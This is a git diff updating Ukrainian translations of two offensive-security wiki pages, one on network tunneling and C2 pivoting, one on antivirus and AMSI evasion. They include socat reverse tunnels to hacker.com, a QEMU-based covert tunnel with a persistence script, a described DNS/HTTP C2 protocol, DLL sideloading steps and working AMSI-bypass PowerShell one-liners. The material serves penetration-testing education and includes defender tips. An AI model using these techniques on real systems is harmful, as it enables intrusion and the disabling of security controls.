Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src

This commit is contained in:
Translator 2025-08-04 10:19:26 +00:00
parent d07134931a
commit 9683a36401
2 changed files with 181 additions and 89 deletions

View File

@ -5,7 +5,7 @@
## Nmap tip
> [!WARNING]
> **ICMP** та **SYN** сканування не можуть бути тунельовані через проксі socks, тому ми повинні **вимкнути виявлення ping** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
> **ICMP** та **SYN** сканування не можуть бути тунельовані через проксі-сервери socks, тому ми повинні **вимкнути пінг-дослідження** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
## **Bash**
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
> [!NOTE]
> **Безпека Атака Terrapin (CVE-2023-48795)**
> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні втручатися в ранній SSH-рукопожаття та впроваджувати дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені (**OpenSSH ≥ 9.6/LibreSSH 6.7**) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH-тунелі.
> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні втручатися в ранній SSH handshake і впроваджувати дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені (**OpenSSH ≥ 9.6/LibreSSH 6.7**) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH тунелі.
## SSHUTTLE
@ -149,21 +149,21 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
> [!WARNING]
> У цьому випадку **порт відкритий на хості маяка**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт
> У цьому випадку **порт відкритий на хості-мітці**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
Щоб звернути увагу:
Зверніть увагу:
- Зворотний портовий переадресація Beacon призначена для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
- Зворотний портовий переказ Beacon призначений для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
- Трафік **тунелюється в межах C2 трафіку Beacon**, включаючи P2P посилання.
- **Привілеї адміністратора не потрібні** для створення зворотних портових переадресацій на високих портах.
- **Привілеї адміністратора не потрібні** для створення зворотних портових переказів на високих портах.
### rPort2Port локальний
> [!WARNING]
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server) і звідти до вказаного хосту:порту.
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server), а звідти до вказаного хоста:порту.
```bash
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
@ -290,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
Ви можете обійти **неавторизований проксі**, виконавши цей рядок замість останнього в консолі жертви:
Ви можете обійти **неавторизований проксі**, виконавши цю команду замість останньої в консолі жертви:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
@ -298,7 +298,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
### SSL Socat Tunnel
**/bin/sh консоль**
**/bin/sh console**
Створіть сертифікати з обох сторін: Клієнт і Сервер
```bash
@ -350,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
Вам потрібно мати **доступ до RDP через систему**.\
Завантажте:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Цей інструмент використовує `Dynamic Virtual Channels` (`DVC`) з функції Remote Desktop Service Windows. DVC відповідає за **тунелювання пакетів через RDP-з'єднання**.
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Цей інструмент використовує `Dynamic Virtual Channels` (`DVC`) з функції Remote Desktop Service Windows. DVC відповідає за **тунелювання пакетів через RDP з'єднання**.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
На вашому клієнтському комп'ютері завантажте **`SocksOverRDP-Plugin.dll`** ось так:
@ -373,10 +373,10 @@ netstat -antb | findstr 1080
## Проксування Windows GUI додатків
Ви можете налаштувати Windows GUI додатки для роботи через проксі, використовуючи [**Proxifier**](https://www.proxifier.com/).\
У **Profile -> Proxy Servers** додайте IP-адресу та порт SOCKS сервера.\
У **Profile -> Proxification Rules** додайте назву програми для проксування та з'єднання з IP-адресами, які ви хочете проксувати.
У **Профіль -> Проксі-сервери** додайте IP-адресу та порт SOCKS сервера.\
У **Профіль -> Правила проксування** додайте назву програми для проксування та з'єднання з IP-адресами, які ви хочете проксувати.
## Обхід NTLM проксі
## Обхід проксі NTLM
Раніше згадуваний інструмент: **Rpivot**\
**OpenVPN** також може обійти це, встановивши ці параметри у файлі конфігурації:
@ -387,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Він аутентифікується проти проксі і прив'язує порт локально, який перенаправляється на зовнішній сервіс, який ви вказуєте. Потім ви можете використовувати інструмент на ваш вибір через цей порт.\
Він аутентифікується проти проксі-сервера та прив'язує порт локально, який перенаправляється на зовнішній сервіс, який ви вказуєте. Потім ви можете використовувати інструмент на ваш вибір через цей порт.\
Наприклад, перенаправити порт 443
```
Username Alice
@ -446,12 +446,46 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
```
#### Зміна DNS у proxychains
Proxychains перехоплює виклик `gethostbyname` libc і тунелює tcp DNS запит через socks проксі. За **замовчуванням** DNS сервер, який використовує proxychains, це **4.2.2.2** (жорстко закодований). Щоб змінити його, відредагуйте файл: _/usr/lib/proxychains3/proxyresolv_ і змініть IP. Якщо ви в **середовищі Windows**, ви можете встановити IP **контролера домену**.
Proxychains перехоплює виклик `gethostbyname` libc і тунелює tcp DNS запит через socks проксі. За **замовчуванням** DNS сервер, який використовує proxychains, є **4.2.2.2** (жорстко закодований). Щоб змінити його, відредагуйте файл: _/usr/lib/proxychains3/proxyresolv_ і змініть IP. Якщо ви в **середовищі Windows**, ви можете встановити IP **контролера домену**.
## Тунелі в Go
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
### Користувацький DNS TXT / HTTP JSON C2 (AK47C2)
Актор Storm-2603 створив **двоканальний C2 ("AK47C2")**, який зловживає *лише* вихідними **DNS** та **звичайним HTTP POST** трафіком двома протоколами, які рідко блокуються в корпоративних мережах.
1. **Режим DNS (AK47DNS)**
• Генерує випадковий 5-символьний SessionID (наприклад, `H4T14`).
• Додає `1` для *запитів завдань* або `2` для *результатів* і конкатенує різні поля (позначки, SessionID, ім'я комп'ютера).
• Кожне поле **XOR-шифрується з ASCII ключем `VHBD@H`**, кодується в hex і з'єднується крапками врешті-решт закінчується доменом, контрольованим зловмисником:
```text
<1|2><SessionID>.a<SessionID>.<Computer>.update.updatemicfosoft.com
```
• Запити використовують `DnsQuery()` для **TXT** (і резервних **MG**) записів.
• Коли відповідь перевищує 0xFF байт, бекдор **фрагментує** дані на частини по 63 байти і вставляє маркери:
`s<SessionID>t<TOTAL>p<POS>`, щоб сервер C2 міг їх перерозподілити.
2. **Режим HTTP (AK47HTTP)**
• Створює JSON конверт:
```json
{"cmd":"","cmd_id":"","fqdn":"<host>","result":"","type":"task"}
```
• Весь об'єкт XOR-`VHBD@H` → hex → надсилається як тіло **`POST /`** з заголовком `Content-Type: text/plain`.
• Відповідь слідує такому ж кодуванню, а поле `cmd` виконується з `cmd.exe /c <command> 2>&1`.
Примітки Блакитної команди
• Шукайте незвичайні **TXT запити**, перший ярлик яких є довгим шістнадцятковим і завжди закінчується на один рідкісний домен.
• Постійний XOR ключ, за яким слідує ASCII-hex, легко виявити за допомогою YARA: `6?56484244?484` (`VHBD@H` в hex).
• Для HTTP, позначайте текст/plain POST тіла, які є чистим hex і кратні двом байтам.
{{#note}}
Весь канал поміщається в **стандартні запити, що відповідають RFC** і тримає кожен піддоменний ярлик менше 63 байтів, що робить його непомітним у більшості DNS журналів.
{{#endnote}}
## ICMP Тунелювання
### Hans
@ -574,11 +608,11 @@ url: http://127.0.0.1:8000
```bash
cloudflared tunnel run mytunnel
```
Оскільки весь трафік виходить з хоста **вихідний через 443**, тунелі Cloudflared є простим способом обійти вхідні ACL або межі NAT. Зверніть увагу, що бінарний файл зазвичай працює з підвищеними привілеями використовуйте контейнери або прапор `--user`, коли це можливо.
Оскільки весь трафік виходить з хоста **вихідний через 443**, тунелі Cloudflared є простим способом обійти вхідні ACL або межі NAT. Зверніть увагу, що бінарний файл зазвичай працює з підвищеними привілеями використовуйте контейнери або прапорець `--user`, коли це можливо.
## FRP (Швидкий зворотний проксі)
[`frp`](https://github.com/fatedier/frp) є активно підтримуваним зворотним проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-hole-punching**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH без додаткового бінарного файлу.
[`frp`](https://github.com/fatedier/frp) є активно підтримуваним зворотним проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-пробивання**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH додатковий бінарний файл не потрібен.
### Класичний зворотний TCP тунель
```bash
@ -626,7 +660,7 @@ qemu-system-x86_64.exe ^
```
• Команда вище запускає образ **Tiny Core Linux** (`tc.qcow2`) в оперативній пам'яті.
• Порт **2222/tcp** на хості Windows прозоро перенаправляється на **22/tcp** всередині гостьової системи.
З точки зору атакуючого, ціль просто відкриває порт 2222; будь-які пакети, які досягають його, обробляються SSH-сервером, що працює у віртуальній машині.
З точки зору атакуючого, ціль просто відкриває порт 2222; будь-які пакети, які досягають його, обробляються сервером SSH, що працює у віртуальній машині.
### Запуск непомітно через VBScript
```vb
@ -638,7 +672,7 @@ o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tc
### Утримання в гості
Оскільки Tiny Core не має стану, зловмисники зазвичай:
Оскільки Tiny Core є безстанційним, зловмисники зазвичай:
1. Скидають payload до `/opt/123.out`
2. Додають до `/opt/bootlocal.sh`:
@ -654,12 +688,12 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
• Лише два непідписаних виконуваних файли (`qemu-system-*.exe`) торкаються диска; драйвери або служби не встановлюються.
• Продукти безпеки на хості бачать **безпечний зворотний трафік** (фактичний C2 завершується всередині VM).
• Сканери пам'яті ніколи не аналізують простір процесу зловмисника, оскільки він живе в іншій ОС.
• Сканери пам'яті ніколи не аналізують простір зловмисного процесу, оскільки він живе в іншій ОС.
### Поради для захисників
• Сповіщати про **неочікувані бінарні файли QEMU/VirtualBox/KVM** у шляхах, доступних для запису користувачем.
• Блокувати вихідні з'єднання, які походять від `qemu-system*.exe`.
• Сповіщати про **неочікувані бінарні файли QEMU/VirtualBox/KVM** в шляхах, доступних для запису користувачем.
• Блокувати вихідні з'єднання, які походять з `qemu-system*.exe`.
• Шукати рідкісні порти прослуховування (2222, 10022, …), які прив'язуються відразу після запуску QEMU.
---
@ -672,5 +706,6 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
## Посилання
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
- [Check Point Research Before ToolShell: Exploring Storm-2603s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,44 +4,50 @@
**Цю сторінку написав** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
## **Методологія обходу AV**
## Stop Defender
- [defendnot](https://github.com/es3n1n/defendnot): Інструмент для зупинки роботи Windows Defender.
- [no-defender](https://github.com/es3n1n/no-defender): Інструмент для зупинки роботи Windows Defender, який імітує інший AV.
- [Вимкніть Defender, якщо ви адміністратор](basic-powershell-for-pentesters/README.md)
## **AV Evasion Methodology**
Наразі AV використовують різні методи для перевірки, чи є файл шкідливим, чи ні: статичне виявлення, динамічний аналіз, а для більш просунутих EDR - поведінковий аналіз.
### **Статичне виявлення**
### **Static detection**
Статичне виявлення досягається шляхом позначення відомих шкідливих рядків або масивів байтів у бінарному файлі або скрипті, а також витягування інформації з самого файлу (наприклад, опис файлу, назва компанії, цифрові підписи, іконка, контрольна сума тощо). Це означає, що використання відомих публічних інструментів може призвести до того, що вас легше спіймають, оскільки їх, ймовірно, вже проаналізували та позначили як шкідливі. Є кілька способів обійти таке виявлення:
Статичне виявлення досягається шляхом позначення відомих шкідливих рядків або масивів байтів у бінарному файлі або скрипті, а також витягування інформації з самого файлу (наприклад, опис файлу, назва компанії, цифрові підписи, значок, контрольна сума тощо). Це означає, що використання відомих публічних інструментів може призвести до швидшого виявлення, оскільки їх, ймовірно, вже проаналізували та позначили як шкідливі. Є кілька способів обійти таке виявлення:
- **Шифрування**
- **Encryption**
Якщо ви зашифруєте бінарний файл, AV не зможе виявити вашу програму, але вам знадобиться якийсь завантажувач для розшифровки та виконання програми в пам'яті.
- **Обфускація**
- **Obfuscation**
Іноді все, що вам потрібно зробити, це змінити деякі рядки у вашому бінарному файлі або скрипті, щоб обійти AV, але це може бути трудомістким завданням, залежно від того, що ви намагаєтеся обфускувати.
Іноді все, що вам потрібно зробити, це змінити кілька рядків у вашому бінарному файлі або скрипті, щоб обійти AV, але це може бути трудомістким завданням, залежно від того, що ви намагаєтеся замаскувати.
- **Користувацькі інструменти**
- **Custom tooling**
Якщо ви розробите свої власні інструменти, не буде відомих поганих підписів, але це вимагає багато часу та зусиль.
Якщо ви розробите свої власні інструменти, не буде відомих шкідливих підписів, але це вимагає багато часу та зусиль.
> [!NOTE]
> Хороший спосіб перевірити статичне виявлення Windows Defender - це [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Він в основному розділяє файл на кілька сегментів, а потім просить Defender просканувати кожен з них окремо, таким чином, він може точно сказати вам, які рядки або байти у вашому бінарному файлі були позначені.
> [!TIP]
> Хороший спосіб перевірити статичне виявлення Windows Defender - це [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Він в основному розділяє файл на кілька сегментів, а потім просить Defender просканувати кожен з них окремо, таким чином, він може точно вказати, які рядки або байти були позначені у вашому бінарному файлі.
Я настійно рекомендую вам ознайомитися з цим [YouTube плейлистом](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) про практичний обход AV.
Я настійно рекомендую вам ознайомитися з цим [YouTube плейлистом](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) про практичне обходження AV.
### **Динамічний аналіз**
### **Dynamic analysis**
Динамічний аналіз - це коли AV запускає ваш бінарний файл у пісочниці та спостерігає за шкідливою активністю (наприклад, намагаючись розшифрувати та прочитати паролі вашого браузера, виконуючи мінідамп на LSASS тощо). Ця частина може бути трохи складнішою для роботи, але ось кілька речей, які ви можете зробити, щоб обійти пісочниці.
Динамічний аналіз - це коли AV запускає ваш бінарний файл у пісочниці та спостерігає за шкідливою активністю (наприклад, намагається розшифрувати та прочитати паролі вашого браузера, виконує мінідамп на LSASS тощо). Цю частину може бути трохи складніше обробляти, але ось кілька речей, які ви можете зробити, щоб уникнути пісочниць.
- **Сон перед виконанням** Залежно від того, як це реалізовано, це може бути чудовим способом обійти динамічний аналіз AV. AV має дуже короткий час для сканування файлів, щоб не переривати робочий процес користувача, тому використання тривалих снів може порушити аналіз бінарних файлів. Проблема в тому, що багато пісочниць AV можуть просто пропустити сон, залежно від того, як це реалізовано.
- **Перевірка ресурсів машини** Зазвичай пісочниці мають дуже мало ресурсів для роботи (наприклад, < 2 ГБ ОП), інакше вони можуть сповільнити машину користувача. Ви також можете бути дуже креативними тут, наприклад, перевіряючи температуру ЦП або навіть швидкість вентиляторів, не все буде реалізовано в пісочниці.
- **Перевірки, специфічні для машини** Якщо ви хочете націлитися на користувача, чия робоча станція приєднана до домену "contoso.local", ви можете перевірити домен комп'ютера, щоб дізнатися, чи відповідає він вказаному вами, якщо ні, ви можете змусити вашу програму вийти.
- **Sleep before execution** Залежно від того, як це реалізовано, це може бути чудовим способом обійти динамічний аналіз AV. AV мають дуже короткий час для сканування файлів, щоб не переривати робочий процес користувача, тому використання тривалих затримок може порушити аналіз бінарних файлів. Проблема в тому, що багато пісочниць AV можуть просто пропустити затримку, залежно від того, як це реалізовано.
- **Checking machine's resources** Зазвичай пісочниці мають дуже мало ресурсів для роботи (наприклад, < 2 ГБ ОП), інакше вони можуть сповільнити машину користувача. Ви також можете бути дуже креативними тут, наприклад, перевіряючи температуру ЦП або навіть швидкість вентиляторів, не все буде реалізовано в пісочниці.
- **Machine-specific checks** Якщо ви хочете націлитися на користувача, чий робочий стіл приєднано до домену "contoso.local", ви можете перевірити домен комп'ютера, щоб дізнатися, чи відповідає він вказаному вами, якщо ні, ви можете змусити вашу програму вийти.
Виявляється, що ім'я комп'ютера пісочниці Microsoft Defender - HAL9TH, тому ви можете перевірити ім'я комп'ютера у вашому шкідливому ПЗ перед детонацією, якщо ім'я збігається з HAL9TH, це означає, що ви всередині пісочниці Defender, тому ви можете змусити вашу програму вийти.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>джерело: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Деякі інші дійсно хороші поради від [@mgeeky](https://twitter.com/mariuszbit) для обходу пісочниць
Декілька інших дійсно хороших порад від [@mgeeky](https://twitter.com/mariuszbit) для обходу пісочниць
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev канал</p></figcaption></figure>
@ -49,39 +55,39 @@
Наприклад, якщо ви хочете скинути LSASS, **чи дійсно вам потрібно використовувати mimikatz**? Чи можете ви використовувати інший проект, який менш відомий і також скидає LSASS.
Правильна відповідь, ймовірно, остання. Взяти mimikatz як приклад, це, напевно, один з, якщо не найбільш позначених шкідливих програм AV та EDR, хоча сам проект супер класний, з ним також важко працювати, щоб обійти AV, тому просто шукайте альтернативи для того, що ви намагаєтеся досягти.
Правильна відповідь, ймовірно, остання. Взяти mimikatz як приклад, це, ймовірно, один з, якщо не найбільш позначених шкідливих програм AV та EDR, хоча сам проект дуже класний, з ним також важко працювати, щоб обійти AV, тому просто шукайте альтернативи для того, що ви намагаєтеся досягти.
> [!NOTE]
> Коли ви модифікуєте свої корисні навантаження для обходу, переконайтеся, що ви **вимкнули автоматичну подачу зразків** у Defender, і, будь ласка, серйозно, **НЕ ЗАВАНТАЖУЙТЕ НА VIRUSTOTAL**, якщо ваша мета - досягти обходу в довгостроковій перспективі. Якщо ви хочете перевірити, чи ваше навантаження виявляється певним AV, встановіть його на віртуальну машину, спробуйте вимкнути автоматичну подачу зразків і протестуйте його там, поки не будете задоволені результатом.
> [!TIP]
> Коли ви модифікуєте свої корисні навантаження для обходу, переконайтеся, що ви **вимкнули автоматичну подачу зразків** у Defender, і, будь ласка, серйозно, **НЕ ЗАВАНТАЖУЙТЕ НА VIRUSTOTAL**, якщо ваша мета - досягти обходу в довгостроковій перспективі. Якщо ви хочете перевірити, чи ваше корисне навантаження виявляється певним AV, встановіть його на віртуальну машину, спробуйте вимкнути автоматичну подачу зразків і протестуйте його там, поки не будете задоволені результатом.
## EXEs проти DLLs
## EXEs vs DLLs
Коли це можливо, завжди **надавайте перевагу використанню DLL для обходу**, на мій погляд, файли DLL зазвичай **значно менше виявляються** та аналізуються, тому це дуже простий трюк, який можна використовувати, щоб уникнути виявлення в деяких випадках (якщо ваше навантаження має якийсь спосіб виконання як DLL, звичайно).
Коли це можливо, завжди **надавайте перевагу використанню DLL для обходу**, на мій погляд, файли DLL зазвичай **значно менше виявляються** та аналізуються, тому це дуже простий трюк, щоб уникнути виявлення в деяких випадках (якщо ваше корисне навантаження має якийсь спосіб виконання як DLL, звичайно).
Як ми можемо бачити на цьому зображенні, навантаження DLL з Havoc має рівень виявлення 4/26 на antiscan.me, тоді як навантаження EXE має рівень виявлення 7/26.
Як ми можемо бачити на цьому зображенні, корисне навантаження DLL з Havoc має рівень виявлення 4/26 на antiscan.me, тоді як корисне навантаження EXE має рівень виявлення 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>порівняння antiscan.me звичайного навантаження Havoc EXE проти звичайного навантаження Havoc DLL</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>порівняння antiscan.me звичайного корисного навантаження Havoc EXE та звичайного Havoc DLL</p></figcaption></figure>
Тепер ми покажемо кілька трюків, які ви можете використовувати з файлами DLL, щоб бути набагато непомітнішими.
Тепер ми покажемо кілька трюків, які ви можете використовувати з файлами DLL, щоб бути набагато більш непомітними.
## Завантаження DLL та проксування
## DLL Sideloading & Proxying
**Завантаження DLL** використовує порядок пошуку DLL, що використовується завантажувачем, розміщуючи як жертву, так і шкідливі навантаження поруч один з одним.
**DLL Sideloading** використовує порядок пошуку DLL, що використовується завантажувачем, розміщуючи як жертву, так і шкідливі корисні навантаження поруч один з одним.
Ви можете перевірити програми, які підлягають завантаженню DLL, використовуючи [Siofra](https://github.com/Cybereason/siofra) та наступний скрипт PowerShell:
Ви можете перевірити програми, які підлягають DLL Sideloading, використовуючи [Siofra](https://github.com/Cybereason/siofra) та наступний скрипт PowerShell:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
Ця команда виведе список програм, які підлягають атаці через підміни DLL у "C:\Program Files\\" та DLL файли, які вони намагаються завантажити.
Ця команда виведе список програм, які підлягають DLL hijacking у "C:\Program Files\\" та DLL файли, які вони намагаються завантажити.
Я настійно рекомендую вам **самостійно дослідити програми, які можна підмінити/завантажити DLL**, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми, які можна підмінити DLL, вас можуть легко спіймати.
Я настійно рекомендую вам **самостійно дослідити програми, які можна піддати DLL Hijackable/Sideloadable**, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми, які можна піддати DLL Sideloadable, вас можуть легко спіймати.
Просто розмістивши шкідливу DLL з ім'ям, яке програма очікує завантажити, не запустить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цієї DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану **DLL Proxying/Forwarding**.
Просто розмістивши шкідливий DLL з ім'ям, яке програма очікує завантажити, не завантажить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цього DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану **DLL Proxying/Forwarding**.
**DLL Proxying** перенаправляє виклики, які програма робить з проксі (і шкідливої) DLL до оригінальної DLL, таким чином зберігаючи функціональність програми та можливість обробляти виконання вашого вантажу.
**DLL Proxying** пересилає виклики, які програма робить з проксі (і шкідливого) DLL до оригінального DLL, таким чином зберігаючи функціональність програми та можливість обробляти виконання вашого вантажу.
Я буду використовувати проект [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) від [@flangvik](https://twitter.com/Flangvik/)
@ -100,12 +106,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Обидва наші shellcode (закодовані за допомогою [SGN](https://github.com/EgeBalci/sgn)) та проксі DLL мають 0/26 рівень виявлення на [antiscan.me](https://antiscan.me)! Я б назвав це успіхом.
Обидва наші shellcode (закодований за допомогою [SGN](https://github.com/EgeBalci/sgn)) та проксі DLL мають 0/26 рівень виявлення на [antiscan.me](https://antiscan.me)! Я б назвав це успіхом.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Я **дуже рекомендую** вам подивитися [twitch VOD S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) про DLL Sideloading, а також [відео ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), щоб дізнатися більше про те, що ми обговорювали більш детально.
> [!TIP]
> Я **щиро рекомендую** вам подивитися [twitch VOD S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) про DLL Sideloading, а також [відео ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), щоб дізнатися більше про те, що ми обговорювали більш детально.
## [**Freeze**](https://github.com/optiv/Freeze)
@ -120,12 +126,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
```
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> [!TIP]
> Уникнення - це просто гра в кішки-мишки, те, що працює сьогодні, може бути виявлено завтра, тому ніколи не покладайтеся лише на один інструмент, якщо можливо, спробуйте поєднувати кілька технік уникнення.
## AMSI (Інтерфейс сканування антивірусного програмного забезпечення)
AMSI був створений для запобігання "[безфайловим шкідливим програмам](https://en.wikipedia.org/wiki/Fileless_malware)". Спочатку антивірусні програми могли сканувати лише **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
AMSI був створений для запобігання "[безфайловим шкідливим програмам](https://en.wikipedia.org/wiki/Fileless_malware)". Спочатку антивірусні програми могли сканувати лише **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки у нього не було достатньої видимості.
Функція AMSI інтегрована в ці компоненти Windows.
@ -151,11 +157,11 @@ AMSI був створений для запобігання "[безфайло
- **Обфускація**
Оскільки AMSI в основному працює з статичними виявленнями, тому модифікація скриптів, які ви намагаєтеся завантажити, може бути хорошим способом уникнути виявлення.
Оскільки AMSI в основному працює з статичними виявленнями, тому модифікація скриптів, які ви намагаєтеся завантажити, може бути хорошим способом уникнення виявлення.
Однак AMSI має можливість розобфускувати скрипти, навіть якщо у них є кілька шарів, тому обфускація може бути поганим варіантом залежно від того, як це зроблено. Це ускладнює уникнення. Хоча іноді все, що вам потрібно зробити, це змінити кілька імен змінних, і ви будете в порядку, тому це залежить від того, наскільки щось було позначено.
- **AMSI Bypass**
- **Обхід AMSI**
Оскільки AMSI реалізується шляхом завантаження DLL у процес PowerShell (також cscript.exe, wscript.exe тощо), його можна легко підробити, навіть працюючи як неправа користувач. Через цей недолік у реалізації AMSI дослідники знайшли кілька способів уникнути сканування AMSI.
@ -165,7 +171,7 @@ AMSI був створений для запобігання "[безфайло
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Все, що було потрібно, це один рядок коду PowerShell, щоб зробити AMSI непридатним для поточного процесу PowerShell. Цей рядок, звичайно, був позначений самим AMSI, тому потрібні деякі модифікації для використання цієї техніки.
Все, що було потрібно, це один рядок коду PowerShell, щоб зробити AMSI непридатним для поточного процесу PowerShell. Цей рядок, звичайно, був позначений самим AMSI, тому потрібні деякі модифікації, щоб використовувати цю техніку.
Ось модифікований обхід AMSI, який я взяв з цього [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```bash
@ -181,22 +187,22 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
Зверніть увагу, що це, ймовірно, буде позначено, коли цей пост вийде, тому не публікуйте жодного коду, якщо ваш план полягає в тому, щоб залишитися непоміченим.
**Memory Patching**
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/_RastaMouse/), і вона полягає у знаходженні адреси функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та перезапису її інструкціями, які повертають код E_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/_RastaMouse/), і вона полягає у знаходженні адреси функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, щоб повернути код E_INVALIDARG, таким чином результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
> [!NOTE]
> Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
> [!TIP]
